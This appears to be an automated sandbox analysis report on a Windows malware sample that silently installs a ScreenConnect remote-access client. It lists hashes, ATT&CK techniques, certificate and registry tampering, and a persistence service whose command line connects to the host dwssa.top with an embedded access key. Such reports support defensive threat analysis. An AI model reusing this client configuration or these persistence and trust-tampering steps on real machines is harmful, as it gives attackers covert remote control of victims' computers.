3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/04/2026, 09:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Size 305KB
Sample260420-k93qzsat21
SHA256 3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445
MD5 346055d790a1b04216d5e5d3ce477fe9
SHA1 270dffd2dd57860602194915efe1982147d72985
SHA512 bbf994e254996dcb8e657ce5ee64c62de04ecae40fb383f9fde61b28eb60b91ab20a31a615703453bb4c4c03d3afe4517b04695813bc6d035037c6e34088b95d
SSDEEP 6144:KmlfAgiw7Op5ryNkS7Z12wvtGVG3iVt8eZ1u2J/xFti9y:51iw7gryNkSV1hy1Z1u2JLI9
TLSH
T1FA646C11B9C48432C673383107B5E2B28DBDB8302D655B8F57A81D7A9F741D0EA29B6F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery persistence spyware trojan

Malware Config

Signatures

Downloads MZ/PE file 7 IoCs

flow	pid	Process
4	4076	dfsvc.exe
4	4076	dfsvc.exe
4	4076	dfsvc.exe
4	4076	dfsvc.exe
4	4076	dfsvc.exe
4	4076	dfsvc.exe
4	4076	dfsvc.exe

Manipulates Digital Signatures 1 TTPs 4 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\FF8BFAFA697459874FB9843B1EFDA5C91871A44C\Blob = 030000000100000014000000ff8bfafa697459874fb9843b1efda5c91871a44c2000000001000000640700003082076030820548a00302010202100fc890218ebc1b3c4b8521f655979371300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303731333030303030305a170d3235303731323233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100da5d7b6eb44d5d8c63f7c47c18a1bf98759158e061191810be4001b75443bd96e1de68459fd72f7fe20abcdab9d10541d5b333a191c8694e70eadeb590a46fbacc4bf1e580e3d49900107f31a44bb0761c26e95f32d3d2076fc1ce1550fcc9b80d3a9e126cf948f5d78907f82795bd1c5437f87f582a9cfa3c9adfb079d3af1b267a35c2fed12b99aa072db1a974d8b3704831f91c07c343f8bdfe52a88a5a9ba1ce87a957eed596ea5af8dc2821f8970898355d467621f188cda371cbf194625ac45e7682afc4a7687dfdf58fa12f67da9f8868f8f1bbafaa5455922fce755cceeee2c4caa8c74350420396f445e5b8e2340ddca227ce4846a787150ff50b982a02fac5722e2630da9e7f4f11f61d46c4a3a741834de00ba96fe8d0eec53b8d7332fc8567d59dae58c9da2b4cd394391f1a35c075ce76e4f58118f42cffd0f9d097d86e6e40e7174583b89ea38de2885b9aeed147efa57ddc17ad421b2c9323575a9e0194576825aed3b586a072b2f4dc6194a5566976865079ac988b1c0cadfd10851be62b1f79cad6a937f874eab8cb3651e29e862d5cafe9d1b42a83f335d2aba6ec4ef9d9aa115a069c24916d645de415844dc365c616628665ba45d57e5a4e9ac0a5b414e8833ed77e4591647937e6f496d5cb708e29e3ca60ed81d594c9954186e08e7dbf3555f0a0a4e56625b4dfdc46577d88321b4719cc21b0a7ad0203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414294f9bff00edb7d66b2218307d77a83f5c2b0d85300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201004e334e35453d2ec365082bd7e988392596a078b66cc91a7d52995886d9d2ef5eb1160e611ab54b00704e0cd7fdf1271871d56584ce06413b96e26d0396eb657cbbd5c12039d0130d52e31d1a7a186ca20878378c832655db9af8fc8e0672ca942d35fd13ee8803a7a747a502ff39ce8bbb6b054d78be49edb5a70f7c5c9a0edf3a6a7e3de78ac01b08a05198c6a4ccd6443ced8f4d9a65a23e67b09a93afe01c2e3f3d90581cf5138f931a3af8a15f27ce1a515a1a47f177392d6d3729bc62ce606793d202b89ff88531f035675680e405b49414971bf9f36528c1c44ed17ced9dee353c14465719a0391e3197d851df01ae8e36cb7918a26ca2eec0da555c4fa072f05a7ee59382e093a4edd2698645c04a17a3903ca9fdab62e033fec0f8653dd193b9050a78b0e1101b73ce2caf73a677373783d2a1ee3ce794055e0535ac1edc9eb133e043d16cb6f811f2d7cc855f098673920d0948c2f93a705eea762ca78afd8d4b47a5f4f5ec02b34d77defbbe7e854b50b26182dc05ba265fe3bde3fbd6a12f2aa9656d39361d93425789714323d74ffef6347a5ae3e44a6322d76e604bf759bee5f7a8023d55a2356fd9ed1041d584fed8c27697369a1be159c96722b21a92a6c4d9d17dac189b047538f099b1a3d1ef72882f0e09a767d622f371976cd4b95e6357c2c7b97499b81f04607c9fe72a0bd13f1c899107531d4785b7	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Key deleted	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Key deleted	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\FF8BFAFA697459874FB9843B1EFDA5C91871A44C	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (88062b96-9868-42df-a1ea-a50131cf73e7)\ImagePath = "\"C:\\Users\\Admin\\AppData\\Local\\Apps\\2.0\\M74D5G2R.KHE\\BO94AORJ.RZT\\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=dwssa.top&p=8041&s=88062b96-9868-42df-a1ea-a50131cf73e7&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAueH2TzPprkKesuIflsiVFAAAAAACAAAAAAAQZgAAAAEAACAAAACKe1ocTtR4Q80IQMf8UExGe9rq5eFPJNLM2IYZCA7spwAAAAAOgAAAAAIAACAAAABVcP%2f912MSIua4M7sv8TV3zXT1B9F%2bG8EON4isK6UEuqAEAACfCctx6B8jkapZld2cDS4KE5dnTOFsKtAC2wWx78nyB7k2sfWSUFM%2f98kwaSuChhMVByCbCrlMXaOUSfVG7cC8oWDHiR%2fCZAfegIWY3UB%2fshpm2n4auCPvUt51%2f6K%2bJmFbvo297EL7dcAYyCorzETIoMjP08Y4%2f4kCifXP4R584AEYGR5AX%2faTESYdaPRpBDJyPyy%2bb1P1uRCfAF2HqPuNySHKps0lrraDvw4WGPj7awYyqpLTD5Kx%2bpcG82yE1JUnhlWnFK4R0T1yxineXXhsz5zyAM%2frAk56mVCp5s1u9U8tj8wYU6N6RMacUrm9WGxAY9%2fIp785pdAxSb5QtC%2fCVCal96g65RWpBXkGeEld6cI%2fwwToBNi%2bCN89oM%2b3CoNw3DH1WVVZb7r5rW%2fCCvEMGpBOIbqQY8BOlOZKHUlkmwPmW5bXoDbF1Z3BCFaYmTVsqD5D5wVUbLPCF0gooI%2biTaG9efETAvW4dTT80X%2fbRkj9Ma4H2QVu7p5OIOxdMO3J44kLcw6%2bATaZdbHAyOKv4ocloPRpUYWoK38Wch842admtHGW4KLWKxIJ73XOuS6HZ9nUNyiGiEtUp9NkHEU3Q9P94HN8prEoBuHhDht7v89GRaHHHBuQNhIeqeFAno7FcAukM81wcsYCPE6ah6yUORYTuQqyYm7HR6pPQGCyvWVCV%2fdQJn92QOLAPtXUhDOh98pepF4RrwsKka5FEuLXChSKO6ddpFci0SsyMVuY7%2fXMScZ%2bSx4BDK56PulpdZfR3qaqE76%2fKEBH2fXlou0s5Y4jkuVxWiUzewZwIKibANFruNl7xK%2b9b4wd%2fFySu4rmxIrPYHj%2f5DpWJ5ZPrZiLlwPgNsb%2bLeShA2WuFbo4O2D6OfLdhHvR6uJzl%2feoXIUwk9DWsHLSV4d%2bDBmFqY1yrpn%2bqRzjMUHKSnmQ8XaemcBPmesuZgqfs8wb9otFvfrQ21RNtjF97OPAKhR09kPZ%2fnunhZ193ApgYA9mjgMoWJ9MCJfoGReUr%2fn0nPSLjcGowiyVbZKaGMa8l%2fdN4gDb8as1sd4hffxjeztJEfEd%2flicmjOwozNlBryDCM1S2I5SFTFWyoTPkG86QAXxAl4D7VKHf7L8WGzv634U04ZPjsR9o2nTy8h9RyMIYE2vusokB03iQnF5sIjx4m2fmw3ELK2mQOd6S8pnQGg7XYo27aoeBBstmD7UWhKhtN3D81etU4tJ0T2932TbxWlGo3KgW%2bx%2fjJg9tgLkIXQvjJ%2bVstcrz8Yws9pkG04JOBRb95qYMmPmwS1n%2bQ6DcdhrQxyQHBG07zfh2yd6hZq3Sch8P8DPapxrr38URgrXkm138FbhJbHE0dOVgw23%2f77LLScsLHq9hePwKpA56Yftr8uUZnXbkDnUZRE63nwFptuFQbqhHjJPEOCzz0P%2biD00CHzuWaMDM0vhwARYk0%2bJNGLGOwJKbTv1zHf4e4xyuLUd6bCFqVL4YFWSCi5ahFUU04%2flYPLZMcOSvWdBJCmNdBawkEWQSwnUpgu%2f7wx2XUE070D3w823IDB70%2bRpIN%2f%2f4OKVagkpP0BGlhDMMYCUbw3vU0AAAAA85aFmQtpy9%2flxNBTmNVlowifHLwpzDPcQHtVxqVRs5vgaR%2f0lhh6KpstW55%2fxLQ5qmn6tZgWewtnYqXuvZif%2f&r=&i=dwssa.top-27vfd\" \"1\""	ScreenConnect.ClientService.exe

Executes dropped EXE 5 IoCs

pid	Process
3388	ScreenConnect.WindowsClient.exe
4864	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1804	ScreenConnect.WindowsClient.exe
1924	ScreenConnect.WindowsClient.exe

Loads dropped DLL 16 IoCs

pid	Process
4864	ScreenConnect.ClientService.exe
4864	ScreenConnect.ClientService.exe
4864	ScreenConnect.ClientService.exe
4864	ScreenConnect.ClientService.exe
4864	ScreenConnect.ClientService.exe
4864	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe
1060	ScreenConnect.ClientService.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File created	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\user.config	ScreenConnect.WindowsClient.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.WindowsClient.exe:Zone.Identifier	dfsvc.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\scre..tion_6acd6157af9d4ab = 3c004100700070006c00690063006100740069006f006e00540072007500730074002000760065007200730069006f006e003d002200310022000d000a00460075006c006c004e0061006d0065003d002200680074007400700073003a002f002f00640077007300730061002e0074006f0070002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002300530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002c002000560065007200730069006f006e003d00320035002e0033002e0034002e0039003200380038002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0036006100630064003600310035003700610066003900640034006100620065002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002f00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006500780065002c002000560065007200730069006f006e003d00320035002e0033002e0034002e0039003200380038002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0036006100630064003600310035003700610066003900640034006100620065002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002c00200074007900700065003d00770069006e003300320022000d000a00540072007500730074006500640054006f00520075006e003d002200740072007500650022000d000a0050006500720073006900730074003d002200740072007500650022003e000d000a003c00440065006600610075006c0074004700720061006e0074003e000d000a003c0050006f006c00690063007900530074006100740065006d0065006e0074002000760065007200730069006f006e003d002200310022003e000d000a003c005000650072006d0069007300730069006f006e00530065007400200063006c006100730073003d002200530079007300740065006d002e00530065006300750072006900740079002e005000650072006d0069007300730069006f006e0053006500740022000d000a00760065007200730069006f006e003d002200310022000d000a00490044003d00220043007500730074006f006d0022000d000a00530061006d00650053006900740065003d002200730069007400650022000d000a0055006e0072006500730074007200690063007400650064003d002200740072007500650022000d000a0078006d006c006e0073003a00610073006d00760031003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600310022000d000a0078006d006c006e0073003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600320022000d000a0078006d006c006e0073003a00610073006d00760032003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600320022000d000a0078006d006c006e0073003a007800730069003d00220068007400740070003a002f002f007700770077002e00770033002e006f00720067002f0032003000300031002f0058004d004c0053006300680065006d0061002d0069006e007300740061006e006300650022000d000a0078006d006c006e0073003a0063006f002e00760031003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a0063006c00690063006b006f006e00630065002e007600310022000d000a0078006d006c006e0073003a00610073006d00760033003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600330022000d000a0078006d006c006e0073003a0064007300690067003d00220068007400740070003a002f002f007700770077002e00770033002e006f00720067002f0032003000300030002f00300039002f0078006d006c006400730069006700230022000d000a0078006d006c006e0073003a0063006f002e00760032003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a0063006c00690063006b006f006e00630065002e007600320022003e000d000a003c0049005000650072006d0069007300730069006f006e00200063006c006100730073003d002200530079007300740065006d002e004e00650074002e005700650062005000650072006d0069007300730069006f006e002c002000530079007300740065006d002c002000560065007200730069006f006e003d0032002e0030002e0030002e0030002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d00620037003700610035006300350036003100390033003400650030003800390022000d000a00760065007200730069006f006e003d002200310022003e000d000a003c0043006f006e006e006500630074004100630063006500730073003e000d000a003c0055005200490020007500720069003d00220028006800740074007000730029003a002f002f00640077007300730061005c002e0074006f0070002f002e002a0022002f003e000d000a003c002f0043006f006e006e006500630074004100630063006500730073003e000d000a003c002f0049005000650072006d0069007300730069006f006e003e000d000a003c002f005000650072006d0069007300730069006f006e005300650074003e000d000a003c002f0050006f006c00690063007900530074006100740065006d0065006e0074003e000d000a003c002f00440065006600610075006c0074004700720061006e0074003e000d000a003c004500780074007200610049006e0066006f00200044006100740061003d00220030003000300031003000300030003000300030004600460046004600460046004600460030003100300030003000300030003000300030003000300030003000300030003000430030003200300030003000300030003000350037003500330037003900370033003700340036003500360044003200450035003700360039003600450036003400360046003700370037003300320045003400360036004600370032003600440037003300320043003200300035003600360035003700320037003300360039003600460036004500330044003300340032004500330030003200450033003000320045003300300032004300320030003400330037003500360043003700340037003500370032003600350033004400360045003600350037003500370034003700320036003100360043003200430032003000350030003700350036003200360043003600390036003300340042003600350037003900350034003600460036004200360035003600450033004400360032003300370033003700360031003300350036003300330035003300360033003100330039003300330033003400360035003300300033003800330039003000350030003100300030003000300030003000330030003500330037003900370033003700340036003500360044003200450035003300360035003600330037003500370032003600390037003400370039003200450035003000360046003600430036003900360033003700390032004500340031003700300037003000360043003600390036003300360031003700340036003900360046003600450035003400370032003700350037003300370034003400350037003800370034003700320036003100340039003600450036003600360046003000310030003000300030003000300031003800370032003600350037003100370035003600350037003300370034003700330035003300360038003600350036004300360043003400390036004500370034003600350036003700370032003600310037003400360039003600460036004500300030003000310030003200300030003000300030003000300030003000420022002f003e000d000a003c002f004100700070006c00690063006100740069006f006e00540072007500730074003e000d000a000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5\implication!scre..tion_6acd6157af9d4abe_0019.0003_615f = 68747470733a2f2f64777373612e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32352e332e342e393238382c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d366163643631353761663964346162652c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Categories	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_6acd6157af9d4ab = 54007200750065000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5\lock!08000000f570580e3c0d0000d81000000000000000000000f = 30303030306433632c30316463643061366438343664363234	ScreenConnect.WindowsClient.exe
